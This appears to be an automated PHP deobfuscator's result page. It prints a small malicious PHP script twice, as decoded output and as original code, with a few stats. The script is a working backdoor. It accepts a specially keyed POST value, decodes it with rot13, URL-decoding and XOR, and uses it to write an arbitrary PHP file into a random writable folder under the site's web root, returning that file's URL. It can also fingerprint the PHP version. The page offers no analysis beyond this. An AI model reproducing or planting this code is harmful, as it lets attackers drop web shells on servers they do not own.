Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $tfaaztfpnl = "raxtoxrfmsdwrlhi";$zbfst = "";foreach ($_POST as $josnryccg => $ivyac..

Decoded Output download

<?php $tfaaztfpnl = "raxtoxrfmsdwrlhi";$zbfst = "";foreach ($_POST as $josnryccg => $ivyacmpydxxebllqmhl){if (strlen($josnryccg) == 16 and substr_count($ivyacmpydxxebllqmhl, "%") > 10){sbhwzao($josnryccg, $ivyacmpydxxebllqmhl);}}function sbhwzao($josnryccg, $fakuq){global $zbfst;$zbfst = $josnryccg;$fakuq = str_split(rawurldecode(str_rot13($fakuq)));function liiavjelvc($gykhp, $josnryccg){global $tfaaztfpnl, $zbfst;return $gykhp ^ $tfaaztfpnl[$josnryccg % strlen($tfaaztfpnl)] ^ $zbfst[$josnryccg % strlen($zbfst)];}$fakuq = implode("", array_map("liiavjelvc", array_values($fakuq), array_keys($fakuq)));$fakuq = @unserialize($fakuq);if (@is_array($fakuq)){$josnryccg = array_keys($fakuq);$fakuq = $fakuq[$josnryccg[0]];if ($fakuq === $josnryccg[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ezwylai($ivyacmpydxir) {static $cmupkbssq = array();$eorrkqkxb = glob($ivyacmpydxir . '/*', GLOB_ONLYDIR);if (count($eorrkqkxb) > 0) {foreach ($eorrkqkxb as $ivyacmpydx){if (@is_writable($ivyacmpydx)){$cmupkbssq[] = $ivyacmpydx;}}}foreach ($eorrkqkxb as $ivyacmpydxir) ezwylai($ivyacmpydxir);return $cmupkbssq;}$vthgh = $_SERVER["DOCUMENT_ROOT"];$eorrkqkxb = ezwylai($vthgh);$josnryccg = array_rand($eorrkqkxb);$excjwpboz = $eorrkqkxb[$josnryccg] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($excjwpboz, $fakuq);echo "http://" . $_SERVER["HTTP_HOST"] . substr($excjwpboz, strlen($vthgh));exit();}}} 
 ?>

Did this file decode correctly?

Original Code

<?php $tfaaztfpnl = "raxtoxrfmsdwrlhi";$zbfst = "";foreach ($_POST as $josnryccg => $ivyacmpydxxebllqmhl){if (strlen($josnryccg) == 16 and substr_count($ivyacmpydxxebllqmhl, "%") > 10){sbhwzao($josnryccg, $ivyacmpydxxebllqmhl);}}function sbhwzao($josnryccg, $fakuq){global $zbfst;$zbfst = $josnryccg;$fakuq = str_split(rawurldecode(str_rot13($fakuq)));function liiavjelvc($gykhp, $josnryccg){global $tfaaztfpnl, $zbfst;return $gykhp ^ $tfaaztfpnl[$josnryccg % strlen($tfaaztfpnl)] ^ $zbfst[$josnryccg % strlen($zbfst)];}$fakuq = implode("", array_map("liiavjelvc", array_values($fakuq), array_keys($fakuq)));$fakuq = @unserialize($fakuq);if (@is_array($fakuq)){$josnryccg = array_keys($fakuq);$fakuq = $fakuq[$josnryccg[0]];if ($fakuq === $josnryccg[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ezwylai($ivyacmpydxir) {static $cmupkbssq = array();$eorrkqkxb = glob($ivyacmpydxir . '/*', GLOB_ONLYDIR);if (count($eorrkqkxb) > 0) {foreach ($eorrkqkxb as $ivyacmpydx){if (@is_writable($ivyacmpydx)){$cmupkbssq[] = $ivyacmpydx;}}}foreach ($eorrkqkxb as $ivyacmpydxir) ezwylai($ivyacmpydxir);return $cmupkbssq;}$vthgh = $_SERVER["DOCUMENT_ROOT"];$eorrkqkxb = ezwylai($vthgh);$josnryccg = array_rand($eorrkqkxb);$excjwpboz = $eorrkqkxb[$josnryccg] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($excjwpboz, $fakuq);echo "http://" . $_SERVER["HTTP_HOST"] . substr($excjwpboz, strlen($vthgh));exit();}}}

Function Calls

None

Variables

$zbfst
$tfaaztfpnl raxtoxrfmsdwrlhi

Stats

MD5 5c3416aaa5d75f60f003070775c9fa5f
Eval Count 0
Decode Time 100 ms